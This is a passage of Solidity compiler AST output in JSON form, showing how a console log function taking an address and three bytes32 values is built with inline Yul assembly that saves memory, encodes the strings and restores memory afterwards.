ame":{"id":38781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38783,"nodeType":"VariableDeclarationStatement","src":"154929:10:22"},{"assignments":[38785],"declarations":[{"constant":false,"id":38785,"mutability":"mutable","name":"m5","nameLocation":"154957:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38784,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154949:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38786,"nodeType":"VariableDeclarationStatement","src":"154949:10:22"},{"assignments":[38788],"declarations":[{"constant":false,"id":38788,"mutability":"mutable","name":"m6","nameLocation":"154977:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38787,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38789,"nodeType":"VariableDeclarationStatement","src":"154969:10:22"},{"assignments":[38791],"declarations":[{"constant":false,"id":38791,"mutability":"mutable","name":"m7","nameLocation":"154997:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"154989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38790,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38792,"nodeType":"VariableDeclarationStatement","src":"154989:10:22"},{"assignments":[38794],"declarations":[{"constant":false,"id":38794,"mutability":"mutable","name":"m8","nameLocation":"155017:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"155009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38793,"name":"bytes32","nodeType":"ElementaryTypeName","src":"155009:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38795,"nodeType":"VariableDeclarationStatement","src":"155009:10:22"},{"assignments":[38797],"declarations":[{"constant":false,"id":38797,"mutability":"mutable","name":"m9","nameLocation":"155037:2:22","nodeType":"VariableDeclaration","scope":38809,"src":"155029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38796,"name":"bytes32","nodeType":"ElementaryTypeName","src":"155029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38798,"nodeType":"VariableDeclarationStatement","src":"155029:10:22"},{"assignments":[38800],"declarations":[{"constant":false,"id":38800,"mutability":"mutable","name":"m10","nameLocation":"155057:3:22","nodeType":"VariableDeclaration","scope":38809,"src":"155049:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38799,"name":"bytes32","nodeType":"ElementaryTypeName","src":"155049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38801,"nodeType":"VariableDeclarationStatement","src":"155049:11:22"},{"AST":{"nativeSrc":"155079:1027:22","nodeType":"YulBlock","src":"155079:1027:22","statements":[{"body":{"nativeSrc":"155122:313:22","nodeType":"YulBlock","src":"155122:313:22","statements":[{"nativeSrc":"155140:15:22","nodeType":"YulVariableDeclaration","src":"155140:15:22","value":{"kind":"number","nativeSrc":"155154:1:22","nodeType":"YulLiteral","src":"155154:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"155144:6:22","nodeType":"YulTypedName","src":"155144:6:22","type":""}]},{"body":{"nativeSrc":"155225:40:22","nodeType":"YulBlock","src":"155225:40:22","statements":[{"body":{"nativeSrc":"155254:9:22","nodeType":"YulBlock","src":"155254:9:22","statements":[{"nativeSrc":"155256:5:22","nodeType":"YulBreak","src":"155256:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"155242:6:22","nodeType":"YulIdentifier","src":"155242:6:22"},{"name":"w","nativeSrc":"155250:1:22","nodeType":"YulIdentifier","src":"155250:1:22"}],"functionName":{"name":"byte","nativeSrc":"155237:4:22","nodeType":"YulIdentifier","src":"155237:4:22"},"nativeSrc":"155237:15:22","nodeType":"YulFunctionCall","src":"155237:15:22"}],"functionName":{"name":"iszero","nativeSrc":"155230:6:22","nodeType":"YulIdentifier","src":"155230:6:22"},"nativeSrc":"155230:23:22","nodeType":"YulFunctionCall","src":"155230:23:22"},"nativeSrc":"155227:36:22","nodeType":"YulIf","src":"155227:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"155182:6:22","nodeType":"YulIdentifier","src":"155182:6:22"},{"kind":"number","nativeSrc":"155190:4:22","nodeType":"YulLiteral","src":"155190:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"155179:2:22","nodeType":"YulIdentifier","src":"155179:2:22"},"nativeSrc":"155179:16:22","nodeType":"YulFunctionCall","src":"155179:16:22"},"nativeSrc":"155172:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"155196:28:22","nodeType":"YulBlock","src":"155196:28:22","statements":[{"nativeSrc":"155198:24:22","nodeType":"YulAssignment","src":"155198:24:22","value":{"arguments":[{"name":"length","nativeSrc":"155212:6:22","nodeType":"YulIdentifier","src":"155212:6:22"},{"kind":"number","nativeSrc":"155220:1:22","nodeType":"YulLiteral","src":"155220:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"155208:3:22","nodeType":"YulIdentifier","src":"155208:3:22"},"nativeSrc":"155208:14:22","nodeType":"YulFunctionCall","src":"155208:14:22"},"variableNames":[{"name":"length","nativeSrc":"155198:6:22","nodeType":"YulIdentifier","src":"155198:6:22"}]}]},"pre":{"nativeSrc":"155176:2:22","nodeType":"YulBlock","src":"155176:2:22","statements":[]},"src":"155172:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"155289:3:22","nodeType":"YulIdentifier","src":"155289:3:22"},{"name":"length","nativeSrc":"155294:6:22","nodeType":"YulIdentifier","src":"155294:6:22"}],"functionName":{"name":"mstore","nativeSrc":"155282:6:22","nodeType":"YulIdentifier","src":"155282:6:22"},"nativeSrc":"155282:19:22","nodeType":"YulFunctionCall","src":"155282:19:22"},"nativeSrc":"155282:19:22","nodeType":"YulExpressionStatement","src":"155282:19:22"},{"nativeSrc":"155318:37:22","nodeType":"YulVariableDeclaration","src":"155318:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"155335:3:22","nodeType":"YulLiteral","src":"155335:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"155344:1:22","nodeType":"YulLiteral","src":"155344:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"155347:6:22","nodeType":"YulIdentifier","src":"155347:6:22"}],"functionName":{"name":"shl","nativeSrc":"155340:3:22","nodeType":"YulIdentifier","src":"155340:3:22"},"nativeSrc":"155340:14:22","nodeType":"YulFunctionCall","src":"155340:14:22"}],"functionName":{"name":"sub","nativeSrc":"155331:3:22","nodeType":"YulIdentifier","src":"155331:3:22"},"nativeSrc":"155331:24:22","nodeType":"YulFunctionCall","src":"155331:24:22"},"variables":[{"name":"shift","nativeSrc":"155322:5:22","nodeType":"YulTypedName","src":"155322:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"155383:3:22","nodeType":"YulIdentifier","src":"155383:3:22"},{"kind":"number","nativeSrc":"155388:4:22","nodeType":"YulLiteral","src":"155388:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"155379:3:22","nodeType":"YulIdentifier","src":"155379:3:22"},"nativeSrc":"155379:14:22","nodeType":"YulFunctionCall","src":"155379:14:22"},{"arguments":[{"name":"shift","nativeSrc":"155399:5:22","nodeType":"YulIdentifier","src":"155399:5:22"},{"arguments":[{"name":"shift","nativeSrc":"155410:5:22","nodeType":"YulIdentifier","src":"155410:5:22"},{"name":"w","nativeSrc":"155417:1:22","nodeType":"YulIdentifier","src":"155417:1:22"}],"functionName":{"name":"shr","nativeSrc":"155406:3:22","nodeType":"YulIdentifier","src":"155406:3:22"},"nativeSrc":"155406:13:22","nodeType":"YulFunctionCall","src":"155406:13:22"}],"functionName":{"name":"shl","nativeSrc":"155395:3:22","nodeType":"YulIdentifier","src":"155395:3:22"},"nativeSrc":"155395:25:22","nodeType":"YulFunctionCall","src":"155395:25:22"}],"functionName":{"name":"mstore","nativeSrc":"155372:6:22","nodeType":"YulIdentifier","src":"155372:6:22"},"nativeSrc":"155372:49:22","nodeType":"YulFunctionCall","src":"155372:49:22"},"nativeSrc":"155372:49:22","nodeType":"YulExpressionStatement","src":"155372:49:22"}]},"name":"writeString","nativeSrc":"155093:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"155114:3:22","nodeType":"YulTypedName","src":"155114:3:22","type":""},{"name":"w","nativeSrc":"155119:1:22","nodeType":"YulTypedName","src":"155119:1:22","type":""}],"src":"155093:342:22"},{"nativeSrc":"155448:17:22","nodeType":"YulAssignment","src":"155448:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155460:4:22","nodeType":"YulLiteral","src":"155460:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"155454:5:22","nodeType":"YulIdentifier","src":"155454:5:22"},"nativeSrc":"155454:11:22","nodeType":"YulFunctionCall","src":"155454:11:22"},"variableNames":[{"name":"m0","nativeSrc":"155448:2:22","nodeType":"YulIdentifier","src":"155448:2:22"}]},{"nativeSrc":"155478:17:22","nodeType":"YulAssignment","src":"155478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155490:4:22","nodeType":"YulLiteral","src":"155490:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"155484:5:22","nodeType":"YulIdentifier","src":"155484:5:22"},"nativeSrc":"155484:11:22","nodeType":"YulFunctionCall","src":"155484:11:22"},"variableNames":[{"name":"m1","nativeSrc":"155478:2:22","nodeType":"YulIdentifier","src":"155478:2:22"}]},{"nativeSrc":"155508:17:22","nodeType":"YulAssignment","src":"155508:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155520:4:22","nodeType":"YulLiteral","src":"155520:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"155514:5:22","nodeType":"YulIdentifier","src":"155514:5:22"},"nativeSrc":"155514:11:22","nodeType":"YulFunctionCall","src":"155514:11:22"},"variableNames":[{"name":"m2","nativeSrc":"155508:2:22","nodeType":"YulIdentifier","src":"155508:2:22"}]},{"nativeSrc":"155538:17:22","nodeType":"YulAssignment","src":"155538:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155550:4:22","nodeType":"YulLiteral","src":"155550:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"155544:5:22","nodeType":"YulIdentifier","src":"155544:5:22"},"nativeSrc":"155544:11:22","nodeType":"YulFunctionCall","src":"155544:11:22"},"variableNames":[{"name":"m3","nativeSrc":"155538:2:22","nodeType":"YulIdentifier","src":"155538:2:22"}]},{"nativeSrc":"155568:17:22","nodeType":"YulAssignment","src":"155568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155580:4:22","nodeType":"YulLiteral","src":"155580:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"155574:5:22","nodeType":"YulIdentifier","src":"155574:5:22"},"nativeSrc":"155574:11:22","nodeType":"YulFunctionCall","src":"155574:11:22"},"variableNames":[{"name":"m4","nativeSrc":"155568:2:22","nodeType":"YulIdentifier","src":"155568:2:22"}]},{"nativeSrc":"155598:17:22","nodeType":"YulAssignment","src":"155598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155610:4:22","nodeType":"YulLiteral","src":"155610:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"155604:5:22","nodeType":"YulIdentifier","src":"155604:5:22"},"nativeSrc":"155604:11:22","nodeType":"YulFunctionCall","src":"155604:11:22"},"variableNames":[{"name":"m5","nativeSrc":"155598:2:22","nodeType":"YulIdentifier","src":"155598:2:22"}]},{"nativeSrc":"155628:17:22","nodeType":"YulAssignment","src":"155628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155640:4:22","nodeType":"YulLiteral","src":"155640:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"155634:5:22","nodeType":"YulIdentifier","src":"155634:5:22"},"nativeSrc":"155634:11:22","nodeType":"YulFunctionCall","src":"155634:11:22"},"variableNames":[{"name":"m6","nativeSrc":"155628:2:22","nodeType":"YulIdentifier","src":"155628:2:22"}]},{"nativeSrc":"155658:17:22","nodeType":"YulAssignment","src":"155658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"155670:4:22","nodeType":"YulLiteral","src":"155670:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"155664:5:22","nodeType":"YulIdentifier","src":"155664:5:22"},"nativeSrc":"155664:11:22","nodeType":"YulFunctionCall","src":"155664:11:22"},"variableNames":[{"name":"m7","nativeSrc":"155658:2:22","nodeType":"YulIdentifier","src":"155658:2:22"}]},{"nativeSrc":"155688:18:22","nodeType":"YulAssignment","src":"155688:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"155700:5:22","nodeType":"YulLiteral","src":"155700:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"155694:5:22","nodeType":"YulIdentifier","src":"155694:5:22"},"nativeSrc":"155694:12:22","nodeType":"YulFunctionCall","src":"155694:12:22"},"variableNames":[{"name":"m8","nativeSrc":"155688:2:22","nodeType":"YulIdentifier","src":"155688:2:22"}]},{"nativeSrc":"155719:18:22","nodeType":"YulAssignment","src":"155719:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"155731:5:22","nodeType":"YulLiteral","src":"155731:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"155725:5:22","nodeType":"YulIdentifier","src":"155725:5:22"},"nativeSrc":"155725:12:22","nodeType":"YulFunctionCall","src":"155725:12:22"},"variableNames":[{"name":"m9","nativeSrc":"155719:2:22","nodeType":"YulIdentifier","src":"155719:2:22"}]},{"nativeSrc":"155750:19:22","nodeType":"YulAssignment","src":"155750:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"155763:5:22","nodeType":"YulLiteral","src":"155763:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"155757:5:22","nodeType":"YulIdentifier","src":"155757:5:22"},"nativeSrc":"155757:12:22","nodeType":"YulFunctionCall","src":"155757:12:22"},"variableNames":[{"name":"m10","nativeSrc":"155750:3:22","nodeType":"YulIdentifier","src":"155750:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"155853:4:22","nodeType":"YulLiteral","src":"155853:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"155859:10:22","nodeType":"YulLiteral","src":"155859:10:22","type":"","value":"0x5d02c50b"}],"functionName":{"name":"mstore","nativeSrc":"155846:6:22","nodeType":"YulIdentifier","src":"155846:6:22"},"nativeSrc":"155846:24:22","nodeType":"YulFunctionCall","src":"155846:24:22"},"nativeSrc":"155846:24:22","nodeType":"YulExpressionStatement","src":"155846:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"155890:4:22","nodeType":"YulLiteral","src":"155890:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"155896:2:22","nodeType":"YulIdentifier","src":"155896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"155883:6:22","nodeType":"YulIdentifier","src":"155883:6:22"},"nativeSrc":"155883:16:22","nodeType":"YulFunctionCall","src":"155883:16:22"},"nativeSrc":"155883:16:22","nodeType":"YulExpressionStatement","src":"155883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"155919:4:22","nodeType":"YulLiteral","src":"155919:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"155925:4:22","nodeType":"YulLiteral","src":"155925:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"155912:6:22","nodeType":"YulIdentifier","src":"155912:6:22"},"nativeSrc":"155912:18:22","nodeType":"YulFunctionCall","src":"155912:18:22"},"nativeSrc":"155912:18:22","nodeType":"YulExpressionStatement","src":"155912:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"155950:4:22","nodeType":"YulLiteral","src":"155950:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"155956:4:22","nodeType":"YulLiteral","src":"155956:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"155943:6:22","nodeType":"YulIdentifier","src":"155943:6:22"},"nativeSrc":"155943:18:22","nodeType":"YulFunctionCall","src":"155943:18:22"},"nativeSrc":"155943:18:22","nodeType":"YulExpressionStatement","src":"155943:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"155981:4:22","nodeType":"YulLiteral","src":"155981:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"155987:5:22","nodeType":"YulLiteral","src":"155987:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"155974:6:22","nodeType":"YulIdentifier","src":"155974:6:22"},"nativeSrc":"155974:19:22","nodeType":"YulFunctionCall","src":"155974:19:22"},"nativeSrc":"155974:19:22","nodeType":"YulExpressionStatement","src":"155974:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156018:4:22","nodeType":"YulLiteral","src":"156018:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"156024:2:22","nodeType":"YulIdentifier","src":"156024:2:22"}],"functionName":{"name":"writeString","nativeSrc":"156006:11:22","nodeType":"YulIdentifier","src":"156006:11:22"},"nativeSrc":"156006:21:22","nodeType":"YulFunctionCall","src":"156006:21:22"},"nativeSrc":"156006:21:22","nodeType":"YulExpressionStatement","src":"156006:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156052:4:22","nodeType":"YulLiteral","src":"156052:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"156058:2:22","nodeType":"YulIdentifier","src":"156058:2:22"}],"functionName":{"name":"writeString","nativeSrc":"156040:11:22","nodeType":"YulIdentifier","src":"156040:11:22"},"nativeSrc":"156040:21:22","nodeType":"YulFunctionCall","src":"156040:21:22"},"nativeSrc":"156040:21:22","nodeType":"YulExpressionStatement","src":"156040:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156086:5:22","nodeType":"YulLiteral","src":"156086:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"156093:2:22","nodeType":"YulIdentifier","src":"156093:2:22"}],"functionName":{"name":"writeString","nativeSrc":"156074:11:22","nodeType":"YulIdentifier","src":"156074:11:22"},"nativeSrc":"156074:22:22","nodeType":"YulFunctionCall","src":"156074:22:22"},"nativeSrc":"156074:22:22","nodeType":"YulExpressionStatement","src":"156074:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38770,"isOffset":false,"isSlot":false,"src":"155448:2:22","valueSize":1},{"declaration":38773,"isOffset":false,"isSlot":false,"src":"155478:2:22","valueSize":1},{"declaration":38800,"isOffset":false,"isSlot":false,"src":"155750:3:22","valueSize":1},{"declaration":38776,"isOffset":false,"isSlot":false,"src":"155508:2:22","valueSize":1},{"declaration":38779,"isOffset":false,"isSlot":false,"src":"155538:2:22","valueSize":1},{"declaration":38782,"isOffset":false,"isSlot":false,"src":"155568:2:22","valueSize":1},{"declaration":38785,"isOffset":false,"isSlot":false,"src":"155598:2:22","valueSize":1},{"declaration":38788,"isOffset":false,"isSlot":false,"src":"155628:2:22","valueSize":1},{"declaration":38791,"isOffset":false,"isSlot":false,"src":"155658:2:22","valueSize":1},{"declaration":38794,"isOffset":false,"isSlot":false,"src":"155688:2:22","valueSize":1},{"declaration":38797,"isOffset":false,"isSlot":false,"src":"155719:2:22","valueSize":1},{"declaration":38760,"isOffset":false,"isSlot":false,"src":"155896:2:22","valueSize":1},{"declaration":38762,"isOffset":false,"isSlot":false,"src":"156024:2:22","valueSize":1},{"declaration":38764,"isOffset":false,"isSlot":false,"src":"156058:2:22","valueSize":1},{"declaration":38766,"isOffset":false,"isSlot":false,"src":"156093:2:22","valueSize":1}],"id":38802,"nodeType":"InlineAssembly","src":"155070:1036:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38804,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"156131:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":38805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"156137:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":38803,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"156115:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38806,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"156115:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38807,"nodeType":"ExpressionStatement","src":"156115:28:22"},{"AST":{"nativeSrc":"156162:334:22","nodeType":"YulBlock","src":"156162:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"156183:4:22","nodeType":"YulLiteral","src":"156183:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"156189:2:22","nodeType":"YulIdentifier","src":"156189:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156176:6:22","nodeType":"YulIdentifier","src":"156176:6:22"},"nativeSrc":"156176:16:22","nodeType":"YulFunctionCall","src":"156176:16:22"},"nativeSrc":"156176:16:22","nodeType":"YulExpressionStatement","src":"156176:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156212:4:22","nodeType":"YulLiteral","src":"156212:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"156218:2:22","nodeType":"YulIdentifier","src":"156218:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156205:6:22","nodeType":"YulIdentifier","src":"156205:6:22"},"nativeSrc":"156205:16:22","nodeType":"YulFunctionCall","src":"156205:16:22"},"nativeSrc":"156205:16:22","nodeType":"YulExpressionStatement","src":"156205:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156241:4:22","nodeType":"YulLiteral","src":"156241:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"156247:2:22","nodeType":"YulIdentifier","src":"156247:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156234:6:22","nodeType":"YulIdentifier","src":"156234:6:22"},"nativeSrc":"156234:16:22","nodeType":"YulFunctionCall","src":"156234:16:22"},"nativeSrc":"156234:16:22","nodeType":"YulExpressionStatement","src":"156234:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156270:4:22","nodeType":"YulLiteral","src":"156270:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"156276:2:22","nodeType":"YulIdentifier","src":"156276:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156263:6:22","nodeType":"YulIdentifier","src":"156263:6:22"},"nativeSrc":"156263:16:22","nodeType":"YulFunctionCall","src":"156263:16:22"},"nativeSrc":"156263:16:22","nodeType":"YulExpressionStatement","src":"156263:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156299:4:22","nodeType":"YulLiteral","src":"156299:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"156305:2:22","nodeType":"YulIdentifier","src":"156305:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156292:6:22","nodeType":"YulIdentifier","src":"156292:6:22"},"nativeSrc":"156292:16:22","nodeType":"YulFunctionCall","src":"156292:16:22"},"nativeSrc":"156292:16:22","nodeType":"YulExpressionStatement","src":"156292:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156328:4:22","nodeType":"YulLiteral","src":"156328:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"156334:2:22","nodeType":"YulIdentifier","src":"156334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156321:6:22","nodeType":"YulIdentifier","src":"156321:6:22"},"nativeSrc":"156321:16:22","nodeType":"YulFunctionCall","src":"156321:16:22"},"nativeSrc":"156321:16:22","nodeType":"YulExpressionStatement","src":"156321:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156357:4:22","nodeType":"YulLiteral","src":"156357:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"156363:2:22","nodeType":"YulIdentifier","src":"156363:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156350:6:22","nodeType":"YulIdentifier","src":"156350:6:22"},"nativeSrc":"156350:16:22","nodeType":"YulFunctionCall","src":"156350:16:22"},"nativeSrc":"156350:16:22","nodeType":"YulExpressionStatement","src":"156350:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156386:4:22","nodeType":"YulLiteral","src":"156386:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"156392:2:22","nodeType":"YulIdentifier","src":"156392:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156379:6:22","nodeType":"YulIdentifier","src":"156379:6:22"},"nativeSrc":"156379:16:22","nodeType":"YulFunctionCall","src":"156379:16:22"},"nativeSrc":"156379:16:22","nodeType":"YulExpressionStatement","src":"156379:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156415:5:22","nodeType":"YulLiteral","src":"156415:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"156422:2:22","nodeType":"YulIdentifier","src":"156422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156408:6:22","nodeType":"YulIdentifier","src":"156408:6:22"},"nativeSrc":"156408:17:22","nodeType":"YulFunctionCall","src":"156408:17:22"},"nativeSrc":"156408:17:22","nodeType":"YulExpressionStatement","src":"156408:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156445:5:22","nodeType":"YulLiteral","src":"156445:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"156452:2:22","nodeType":"YulIdentifier","src":"156452:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156438:6:22","nodeType":"YulIdentifier","src":"156438:6:22"},"nativeSrc":"156438:17:22","nodeType":"YulFunctionCall","src":"156438:17:22"},"nativeSrc":"156438:17:22","nodeType":"YulExpressionStatement","src":"156438:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156475:5:22","nodeType":"YulLiteral","src":"156475:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"156482:3:22","nodeType":"YulIdentifier","src":"156482:3:22"}],"functionName":{"name":"mstore","nativeSrc":"156468:6:22","nodeType":"YulIdentifier","src":"156468:6:22"},"nativeSrc":"156468:18:22","nodeType":"YulFunctionCall","src":"156468:18:22"},"nativeSrc":"156468:18:22","nodeType":"YulExpressionStatement","src":"156468:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38770,"isOffset":false,"isSlot":false,"src":"156189:2:22","valueSize":1},{"declaration":38773,"isOffset":false,"isSlot":false,"src":"156218:2:22","valueSize":1},{"declaration":38800,"isOffset":false,"isSlot":false,"src":"156482:3:22","valueSize":1},{"declaration":38776,"isOffset":false,"isSlot":false,"src":"156247:2:22","valueSize":1},{"declaration":38779,"isOffset":false,"isSlot":false,"src":"156276:2:22","valueSize":1},{"declaration":38782,"isOffset":false,"isSlot":false,"src":"156305:2:22","valueSize":1},{"declaration":38785,"isOffset":false,"isSlot":false,"src":"156334:2:22","valueSize":1},{"declaration":38788,"isOffset":false,"isSlot":false,"src":"156363:2:22","valueSize":1},{"declaration":38791,"isOffset":false,"isSlot":false,"src":"156392:2:22","valueSize":1},{"declaration":38794,"isOffset":false,"isSlot":false,"src":"156422:2:22","valueSize":1},{"declaration":38797,"isOffset":false,"isSlot":false,"src":"156452:2:22","valueSize":1}],"id":38808,"nodeType":"InlineAssembly","src":"156153:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"154773:3:22","parameters":{"id":38767,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38760,"mutability":"mutable","name":"p0","nameLocation":"154785:2:22","nodeType":"VariableDeclaration","scope":38810,"src":"154777:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38759,"name":"address","nodeType":"ElementaryTypeName","src":"154777:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38762,"mutability":"mutable","name":"p1","nameLocation":"154797:2:22","nodeType":"VariableDeclaration","scope":38810,"src":"154789:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38761,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154789:7:22","typeDescriptions"